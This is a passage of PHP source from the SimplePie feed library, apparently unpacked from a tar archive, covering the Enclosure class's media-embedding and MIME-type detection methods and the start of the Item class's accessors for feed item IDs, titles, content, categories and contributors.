        }

        return null;
    }

    /**
     * Get the width
     *
     * @return string|null
     */
    public function get_width()
    {
        if ($this->width !== null) {
            return $this->width;
        }

        return null;
    }

    /**
     * Embed the enclosure using `<embed>`
     *
     * @deprecated Use the second parameter to {@see embed} instead
     *
     * @param array<string, mixed>|string $options See first parameter to {@see embed}
     * @return string HTML string to output
     */
    public function native_embed($options = '')
    {
        return $this->embed($options, true);
    }

    /**
     * Embed the enclosure using Javascript
     *
     * `$options` is an array or comma-separated key:value string, with the
     * following properties:
     *
     * - `alt` (string): Alternate content for when an end-user does not have
     *    the appropriate handler installed or when a file type is
     *    unsupported. Can be any text or HTML. Defaults to blank.
     * - `altclass` (string): If a file type is unsupported, the end-user will
     *    see the alt text (above) linked directly to the content. That link
     *    will have this value as its class name. Defaults to blank.
     * - `audio` (string): This is an image that should be used as a
     *    placeholder for audio files before they're loaded (QuickTime-only).
     *    Can be any relative or absolute URL. Defaults to blank.
     * - `bgcolor` (string): The background color for the media, if not
     *    already transparent. Defaults to `#ffffff`.
     * - `height` (integer): The height of the embedded media. Accepts any
     *    numeric pixel value (such as `360`) or `auto`. Defaults to `auto`,
     *    and it is recommended that you use this default.
     * - `loop` (boolean): Do you want the media to loop when it's done?
     *    Defaults to `false`.
     * - `mediaplayer` (string): The location of the included
     *    `mediaplayer.swf` file. This allows for the playback of Flash Video
     *    (`.flv`) files, and is the default handler for non-Odeo MP3's.
     *    Defaults to blank.
     * - `video` (string): This is an image that should be used as a
     *    placeholder for video files before they're loaded (QuickTime-only).
     *    Can be any relative or absolute URL. Defaults to blank.
     * - `width` (integer): The width of the embedded media. Accepts any
     *    numeric pixel value (such as `480`) or `auto`. Defaults to `auto`,
     *    and it is recommended that you use this default.
     * - `widescreen` (boolean): Is the enclosure widescreen or standard?
     *    This applies only to video enclosures, and will automatically resize
     *    the content appropriately.  Defaults to `false`, implying 4:3 mode.
     *
     * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto`
     * will default to 480x360 video resolution.  Widescreen (16:9) mode with
     * `width` and `height` set to `auto` will default to 480x270 video resolution.
     *
     * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
     * @param array<string, mixed>|string $options Comma-separated key:value list, or array
     * @param bool $native Use `<embed>`
     * @return string HTML string to output
     */
    public function embed($options = '', bool $native = false)
    {
        // Set up defaults
        $audio = '';
        $video = '';
        $alt = '';
        $altclass = '';
        $loop = 'false';
        $width = 'auto';
        $height = 'auto';
        $bgcolor = '#ffffff';
        $mediaplayer = '';
        $widescreen = false;
        $handler = $this->get_handler();
        $type = $this->get_real_type();
        $placeholder = '';

        // Process options and reassign values as necessary
        if (is_array($options)) {
            extract($options);
        } else {
            $options = explode(',', $options);
            foreach ($options as $option) {
                $opt = explode(':', $option, 2);
                if (isset($opt[0], $opt[1])) {
                    $opt[0] = trim($opt[0]);
                    $opt[1] = trim($opt[1]);
                    switch ($opt[0]) {
                        case 'audio':
                            $audio = $opt[1];
                            break;

                        case 'video':
                            $video = $opt[1];
                            break;

                        case 'alt':
                            $alt = $opt[1];
                            break;

                        case 'altclass':
                            $altclass = $opt[1];
                            break;

                        case 'loop':
                            $loop = $opt[1];
                            break;

                        case 'width':
                            $width = $opt[1];
                            break;

                        case 'height':
                            $height = $opt[1];
                            break;

                        case 'bgcolor':
                            $bgcolor = $opt[1];
                            break;

                        case 'mediaplayer':
                            $mediaplayer = $opt[1];
                            break;

                        case 'widescreen':
                            $widescreen = $opt[1];
                            break;
                    }
                }
            }
        }

        $mime = explode('/', (string) $type, 2);
        $mime = $mime[0];

        // Process values for 'auto'
        if ($width === 'auto') {
            if ($mime === 'video') {
                if ($height === 'auto') {
                    $width = 480;
                } elseif ($widescreen) {
                    $width = round((intval($height) / 9) * 16);
                } else {
                    $width = round((intval($height) / 3) * 4);
                }
            } else {
                $width = '100%';
            }
        }

        if ($height === 'auto') {
            if ($mime === 'audio') {
                $height = 0;
            } elseif ($mime === 'video') {
                if ($width === 'auto') {
                    if ($widescreen) {
                        $height = 270;
                    } else {
                        $height = 360;
                    }
                } elseif ($widescreen) {
                    $height = round((intval($width) / 16) * 9);
                } else {
                    $height = round((intval($width) / 4) * 3);
                }
            } else {
                $height = 376;
            }
        } elseif ($mime === 'audio') {
            $height = 0;
        }

        // Set proper placeholder value
        if ($mime === 'audio') {
            $placeholder = $audio;
        } elseif ($mime === 'video') {
            $placeholder = $video;
        }

        $embed = '';

        // Flash
        if ($handler === 'flash') {
            if ($native) {
                $embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
            }
        }

        // Flash Media Player file types.
        // Preferred handler for MP3 file types.
        elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) {
            if (is_numeric($height)) {
                $height += 20;
            }

            if ($native) {
                $embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
            }
        }

        // QuickTime 7 file types.  Need to test with QuickTime 6.
        // Only handle MP3's if the Flash Media Player is not present.
        elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) {
            if (is_numeric($height)) {
                $height += 16;
            }

            if ($native) {
                if ($placeholder !== '') {
                    $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
                } else {
                    $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
                }
            } else {
                $embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
            }
        }

        // Windows Media
        elseif ($handler === 'wmedia') {
            if (is_numeric($height)) {
                $height += 45;
            }

            if ($native) {
                $embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
            }
        }

        // Everything else
        else {
            $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';
        }

        return $embed;
    }

    /**
     * Get the real media type
     *
     * Often, feeds lie to us, necessitating a bit of deeper inspection. This
     * converts types to their canonical representations based on the file
     * extension
     *
     * @see get_type()
     * @param bool $find_handler Internal use only, use {@see get_handler()} instead
     * @return string|null MIME type
     */
    public function get_real_type(bool $find_handler = false)
    {
        // Mime-types by handler.
        $types_flash = ['application/x-shockwave-flash', 'application/futuresplash']; // Flash
        $types_fmedia = ['video/flv', 'video/x-flv','flv-application/octet-stream']; // Flash Media Player
        $types_quicktime = ['audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video']; // QuickTime
        $types_wmedia = ['application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx']; // Windows Media
        $types_mp3 = ['audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg']; // MP3

        $type = $this->get_type();
        if ($type !== null) {
            $type = strtolower($type);
        }

        // If we encounter an unsupported mime-type, check the file extension and guess intelligently.
        if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) {
            $extension = $this->get_extension();
            if ($extension === null) {
                return null;
            }

            switch (strtolower($extension)) {
                // Audio mime-types
                case 'aac':
                case 'adts':
                    $type = 'audio/acc';
                    break;

                case 'aif':
                case 'aifc':
                case 'aiff':
                case 'cdda':
                    $type = 'audio/aiff';
                    break;

                case 'bwf':
                    $type = 'audio/wav';
                    break;

                case 'kar':
                case 'mid':
                case 'midi':
                case 'smf':
                    $type = 'audio/midi';
                    break;

                case 'm4a':
                    $type = 'audio/x-m4a';
                    break;

                case 'mp3':
                case 'swa':
                    $type = 'audio/mp3';
                    break;

                case 'wav':
                    $type = 'audio/wav';
                    break;

                case 'wax':
                    $type = 'audio/x-ms-wax';
                    break;

                case 'wma':
                    $type = 'audio/x-ms-wma';
                    break;

                case '3gp':
                case '3gpp':
                    // Video mime-types
                    $type = 'video/3gpp';
                    break;

                case '3g2':
                case '3gp2':
                    $type = 'video/3gpp2';
                    break;

                case 'asf':
                    $type = 'video/x-ms-asf';
                    break;

                case 'flv':
                    $type = 'video/x-flv';
                    break;

                case 'm1a':
                case 'm1s':
                case 'm1v':
                case 'm15':
                case 'm75':
                case 'mp2':
                case 'mpa':
                case 'mpeg':
                case 'mpg':
                case 'mpm':
                case 'mpv':
                    $type = 'video/mpeg';
                    break;

                case 'm4v':
                    $type = 'video/x-m4v';
                    break;

                case 'mov':
                case 'qt':
                    $type = 'video/quicktime';
                    break;

                case 'mp4':
                case 'mpg4':
                    $type = 'video/mp4';
                    break;

                case 'sdv':
                    $type = 'video/sd-video';
                    break;

                case 'wm':
                    $type = 'video/x-ms-wm';
                    break;

                case 'wmv':
                    $type = 'video/x-ms-wmv';
                    break;

                case 'wvx':
                    $type = 'video/x-ms-wvx';
                    break;

                case 'spl':
                    // Flash mime-types
                    $type = 'application/futuresplash';
                    break;

                case 'swf':
                    $type = 'application/x-shockwave-flash';
                    break;
            }
        }

        if ($find_handler) {
            if (in_array($type, $types_flash)) {
                return 'flash';
            } elseif (in_array($type, $types_fmedia)) {
                return 'fmedia';
            } elseif (in_array($type, $types_quicktime)) {
                return 'quicktime';
            } elseif (in_array($type, $types_wmedia)) {
                return 'wmedia';
            } elseif (in_array($type, $types_mp3)) {
                return 'mp3';
            }

            return null;
        }

        return $type;
    }
}

class_alias('SimplePie\Enclosure', 'SimplePie_Enclosure');
Item.php000064400000401045152222652070006162 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Manages all item-related data
 *
 * Used by {@see \SimplePie\SimplePie::get_item()} and {@see \SimplePie\SimplePie::get_items()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_item_class()}
 */
class Item implements RegistryAware
{
    /**
     * Parent feed
     *
     * @access private
     * @var \SimplePie\SimplePie
     */
    public $feed;

    /**
     * Raw data
     *
     * @access private
     * @var array<string, mixed>
     */
    public $data = [];

    /**
     * Registry object
     *
     * @see set_registry
     * @var \SimplePie\Registry
     */
    protected $registry;

    /**
     * @var Sanitize|null
     */
    private $sanitize = null;

    /**
     * Create a new item object
     *
     * This is usually used by {@see \SimplePie\SimplePie::get_items} and
     * {@see \SimplePie\SimplePie::get_item}. Avoid creating this manually.
     *
     * @param \SimplePie\SimplePie $feed Parent feed
     * @param array<string, mixed> $data Raw data
     */
    public function __construct(\SimplePie\SimplePie $feed, array $data)
    {
        $this->feed = $feed;
        $this->data = $data;
    }

    /**
     * Set the registry handler
     *
     * This is usually used by {@see \SimplePie\Registry::create}
     *
     * @since 1.3
     * @param \SimplePie\Registry $registry
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * Get a string representation of the item
     *
     * @return string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * Remove items that link back to this before destroying this object
     */
    public function __destruct()
    {
        if (!gc_enabled()) {
            unset($this->feed);
        }
    }

    /**
     * Get data for an item-level element
     *
     * This method allows you to get access to ANY element/attribute that is a
     * sub-element of the item/entry tag.
     *
     * See {@see \SimplePie\SimplePie::get_feed_tags()} for a description of the return value
     *
     * @since 1.0
     * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
     * @param string $namespace The URL of the XML namespace of the elements you're trying to access
     * @param string $tag Tag name
     * @return array<array<string, mixed>>|null
     */
    public function get_item_tags(string $namespace, string $tag)
    {
        if (isset($this->data['child'][$namespace][$tag])) {
            return $this->data['child'][$namespace][$tag];
        }

        return null;
    }

    /**
     * Get base URL of the item itself.
     * Returns `<xml:base>` or feed base URL.
     * Similar to `Item::get_base()` but can safely be used during initialisation methods
     * such as `Item::get_links()` (`Item::get_base()` and `Item::get_links()` call each-other)
     * and is not affected by enclosures.
     *
     * @param array<string, mixed> $element
     * @see get_base
     */
    private function get_own_base(array $element = []): string
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        }
        return $this->feed->get_base();
    }

    /**
     * Get the base URL value.
     * Uses `<xml:base>`, or item link, or enclosure link, or feed base URL.
     *
     * @param array<string, mixed> $element
     * @return string
     */
    public function get_base(array $element = [])
    {
        if (!empty($element['xml_base_explicit']) && isset($element['xml_base'])) {
            return $element['xml_base'];
        }
        $link = $this->get_permalink();
        if ($link != null) {
            return $link;
        }
        return $this->feed->get_base($element);
    }

    /**
     * Sanitize feed data
     *
     * @access private
     * @see \SimplePie\SimplePie::sanitize()
     * @param string $data Data to sanitize
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @param string $base Base URL to resolve URLs against
     * @return string Sanitized data
     */
    public function sanitize(string $data, int $type, string $base = '')
    {
        // This really returns string|false but changing encoding is uncommon and we are going to deprecate it, so let’s just lie to PHPStan in the interest of cleaner annotations.
        return $this->feed->sanitize($data, $type, $base);
    }

    /**
     * Get the parent feed
     *
     * Note: this may not work as you think for multifeeds!
     *
     * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed
     * @since 1.0
     * @return \SimplePie\SimplePie
     */
    public function get_feed()
    {
        return $this->feed;
    }

    /**
     * Get the unique identifier for the item
     *
     * This is usually used when writing code to check for new items in a feed.
     *
     * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute
     * for RDF. If none of these are supplied (or `$hash` is true), creates an
     * MD5 hash based on the permalink, title and content.
     *
     * @since Beta 2
     * @param bool $hash Should we force using a hash instead of the supplied ID?
     * @param string|false $fn User-supplied function to generate an hash
     * @return string|null
     */
    public function get_id(bool $hash = false, $fn = 'md5')
    {
        if (!$hash) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'id')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'id')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'identifier')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'identifier')) {
                return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif (isset($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'])) {
                return $this->sanitize($this->data['attribs'][\SimplePie\SimplePie::NAMESPACE_RDF]['about'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
        }
        if ($fn === false) {
            return null;
        } elseif (!is_callable($fn)) {
            trigger_error('User-supplied function $fn must be callable', E_USER_WARNING);
            $fn = 'md5';
        }
        return call_user_func(
            $fn,
            $this->get_permalink().$this->get_title().$this->get_content()
        );
    }

    /**
     * Get the title of the item
     *
     * Uses `<atom:title>`, `<title>` or `<dc:title>`
     *
     * @since Beta 2 (previously called `get_item_title` since 0.8)
     * @return string|null
     */
    public function get_title()
    {
        if (!isset($this->data['title'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
                $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $this->data['title'] = null;
            }
        }
        return $this->data['title'];
    }

    /**
     * Get the content for the item
     *
     * Prefers summaries over full content , but will return full content if a
     * summary does not exist.
     *
     * To prefer full content instead, use {@see get_content}
     *
     * Uses `<atom:summary>`, `<description>`, `<dc:description>` or
     * `<itunes:subtitle>`
     *
     * @since 0.8
     * @param bool $description_only Should we avoid falling back to the content?
     * @return string|null
     */
    public function get_description(bool $description_only = false)
    {
        if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'summary')) &&
            ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'summary')) &&
                ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML))) {
            return $return;
        } elseif (!$description_only) {
            return $this->get_content(true);
        }

        return null;
    }

    /**
     * Get the content for the item
     *
     * Prefers full content over summaries, but will return a summary if full
     * content does not exist.
     *
     * To prefer summaries instead, use {@see get_description}
     *
     * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module)
     *
     * @since 1.0
     * @param bool $content_only Should we avoid falling back to the description?
     * @return string|null
     */
    public function get_content(bool $content_only = false)
    {
        if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'content')) &&
            ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_10_content_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'content')) &&
                ($return = $this->sanitize($tags[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) {
            return $return;
        } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) &&
                ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) {
            return $return;
        } elseif (!$content_only) {
            return $this->get_description(true);
        }

        return null;
    }

    /**
     * Get the media:thumbnail of the item
     *
     * Uses `<media:thumbnail>`
     *
     *
     * @return array{url: string, height?: string, width?: string, time?: string}|null
     */
    public function get_thumbnail()
    {
        if (!isset($this->data['thumbnail'])) {
            if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) {
                $thumbnail = $return[0]['attribs'][''];
                if (empty($thumbnail['url'])) {
                    $this->data['thumbnail'] = null;
                } else {
                    $thumbnail['url'] = $this->sanitize($thumbnail['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
                    $this->data['thumbnail'] = $thumbnail;
                }
            } else {
                $this->data['thumbnail'] = null;
            }
        }
        return $this->data['thumbnail'];
    }

    /**
     * Get a category for the item
     *
     * @since Beta 3 (previously called `get_categories()` since Beta 2)
     * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Category|null
     */
    public function get_category(int $key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories for the item
     *
     * Uses `<atom:category>`, `<category>` or `<dc:subject>`
     *
     * @since Beta 3
     * @return \SimplePie\Category[]|null List of {@see \SimplePie\Category} objects
     */
    public function get_categories()
    {
        $categories = [];

        $type = 'category';
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, $type) as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label, $type]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, $type) as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null, $type]);
        }

        $type = 'subject';
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, $type) as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, $type) as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * Get an author for the item
     *
     * @since Beta 2
     * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_author(int $key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * Get a contributor for the item
     *
     * @since 1.1
     * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
     * @return \SimplePie\Author|null
     */
    public function get_contributor(int $key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * Get all contributors for the item
     *
     * Uses `<atom:contributor>`
     *
     * @since 1.1
     * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * Get all authors for the item
     *
     * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
     *
     * @since Beta 2
     * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
